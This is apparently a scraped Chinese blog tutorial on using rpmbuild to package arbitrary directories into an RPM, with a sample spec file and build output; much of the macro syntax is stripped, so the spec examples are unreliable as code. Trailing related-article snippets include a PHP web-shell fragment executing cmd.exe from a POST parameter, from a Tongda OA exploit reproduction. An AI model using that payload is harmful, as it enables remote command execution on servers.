rpmbuild打包任意檔案及目錄製作為rpm檔案

2021-10-13 19:02:49 字數 4889 閱讀 5691

# 用於安裝製作rpm包的檔案

yum install rpm-build rpmdevtools

rpmdev-setuptree

# 預設將使用使用者家目錄建立對應檔案

rpmbuild/

|-- build

|-- rpms

|-- sources

|-- specs

|-- srpms

# 若要修改預設建立位置,修改如下即可

[root@centos8 ~]

# cat ~/.rpmmacros

%_topdir %(echo $home

)/rpmbuild

%__arch_install_post \

["%"=

"noarch"

]|| qa_check_rpaths=1 ; \

case

"$"in

[1yy]*) /usr/lib/rpm/check-rpaths ;

; esac \

/usr/lib/rpm/check-buildroot

其實放置在任何可以訪問的目錄都可以,只不過我們為了方便,而且不需要編譯

你希望最終安裝的時候希望自己的軟體在什麼位置,這個就放在什麼位置,本例子中,希望python368目錄放置在/opt下面

rpmbuild

|-- build

|-- rpms

|-- sources

|`-- opt|`

-- python368

||-- bin||

`-- python368.sh|`

-- lib

| `-- libs.info

|-- specs

|-- srpms

對我們來說最重要的就是那個buildroot目錄了

**使用rpmbuild --showrc**可以檢視所有的預設巨集定義哦

cd spec # 但其實放置在任何位置都可以的,只不過為了規範點,但實際上我們這樣使用自定義目錄打包本身就是不規範,適合內部軟體打包使用,不適合發布此類rpm包,如要發布,請遵循linux本身的目錄規則進行打包

vim test.spec

name:test

version:1.0

release:0%

summary: test

group:test

license:gpl

autoreqprov: no

buildroot:%(mktemp -ud %/%-%-%-******)

%description -l zh_cn

"the tools for test"

%prep

echo

"do not"

%install

cd %

# ~/rpmbuild/source

cp -ar * %/ # 這個就是假根了 ~、rpmbuild/buildroot

%files

/opt/python368 # 要打包的內容,此處理解為將假根下面的所有檔案打包,因為我們的目錄本身不太符合規範,不然檢查的時候過不去的

%postun

rm -rf /opt/python368

可能你會有一問為什麼沒有configure和build的過程,因為我們不需要呀!!!

rpmbuild -bb test.spec

...wrote: /root/rpmbuild/rpms/x86_64/test-1.0-0.el8.x86_64.rpm

executing(%clean): /bin/sh -e /var/tmp/rpm-tmp.jmrmdt

+ umask 022

+ cd /root/rpmbuild/build

+ /usr/bin/rm -rf /root/rpmbuild/buildroot/test-1.0-0.el8.x86_64

+ exit 0

# 一般這樣打包成功了

讓我們再看看此時的目錄結構

[root@centos8 ~]

# tree rpmbuild

rpmbuild

|-- build

|`-- opt|`

-- python368

||-- bin||

`-- python368.sh|`

-- lib

|`-- libs.info

|-- buildroot

|-- rpms|`

-- x86_64

|`-- test-1.0-0.el8.x86_64.rpm

|-- sources|`

-- opt

|`-- python368

||-- bin||

`-- python368.sh

|`-- lib|`

-- libs.info

|-- specs

|`-- test.spec

`-- srpms

15 directories, 6 files

讓我們檢視下rpm包的內容

[root@centos8 ~]

# rpm -qpl rpmbuild/rpms/x86_64/test-1.0-0.el8.x86_64.rpm

/opt

/opt/python368

/opt/python368/bin

/opt/python368/bin/python368.sh

/opt/python368/lib

/opt/python368/lib/libs.info

***.spec

#自定義巨集,相當於linux中"key-value"變數形式

%define name test #---> 名稱

%define version 1.2.2 #---> 版本

#定義軟體包資訊,即:"rpm -qi name.rpm " 檢視到的內容

name: %

#---> 引用巨集

version: %

#---> 引用巨集

release: 1%

#---> 引用巨集(自帶巨集)

summary: ..

....

....

....

....

....

....

....

....

..... #---> 一些描述資訊

license: gplv2 #---> 授權協議

url: web位址

buildroot: %/buildroot #---> 指定生產車間(非常重要,因在生成rpm過程中執行make install時會把軟體安裝到此路徑,打包時同樣依此目錄為「根目錄」進行操作)

source0: %-%.tar.gz #---> 指定原始碼編譯的檔案,預設路徑:%/sources

source1: 支援多個

buildrequires: gcc,make,automake,binutils #---> 軟體依賴資訊

requires: bash

>= 2.0 #---> 定義軟體依賴資訊,該rpm包所依賴的軟體包名稱,可用》=或<=表示大或小於特定版本

%description

this is %

.....just a test rpm suite..

....

....

...

#安裝前的準備工作,此處可寫入執行指令碼

%pre

useradd % -s /sbin/nologin

#安裝前的準備:此段預設將source目錄內的原始碼包在build目錄解壓為%-%格式的目錄

%prep

%setup -q -n %-%

#---> 引數:-c 解壓縮之前先產生目錄,-n newdir 將軟體包解壓在newdir目錄

#定義config動作

%build

bash script

#定義執行make install時的動作

%install

bash script

#賦予檔案的預設許可權及設定需在rpm包中保留的檔案

%files

%doc

%defattr(-,root,root,-)

#---> 指定包裝檔案屬性,分別是(mode,owner,group),- 表示預設值,文字檔案是0644,可執行檔案0755

%attr(0755,root,root)

#---> 針對單一檔案設定許可權

#製作完成後的清理工作

%clean

rm -rf %

#安裝後的執行工作,此處可寫入執行指令碼

%post

bash script

# 解除安裝前執行的指令碼

%preun

# 解除安裝完成後執行的指令碼

%postun

#變更日誌

%changelog

spec檔案說明

spec說明

任意檔案打包進apk

預設情況android工程下的assets目錄下的所有檔案都會原封不動的打包進apk中,但apk安裝後這些檔案卻不會解包出來。只能使用inputstream和fileoutputstream將這些檔案寫入到需要的位置。inputstream is getresources getassets ope...

PhpMyadmin任意檔案讀取漏洞及修復方案

簡要描述 phpmyadmin實現中錯誤的使用了 xml load string函式用於xml解析,但是該函式中預設並沒有處理好外部實體的安全性,導致使用者可以借助xml檔案讀取和訪問應用有許可權訪問的系統和網路資源 詳細說明 libraries import xml.php中 unset data...

通達OA未授權任意檔案上傳和任意檔案包含漏洞復現

建立乙個上傳的頁面 開啟後,上傳乙個jpg,內容如下 儲存為jpg phpwsh new com wscript.shell or die create wscript.shell failed exec phpwsh exec cmd.exe c post cmd stdout exec stdo...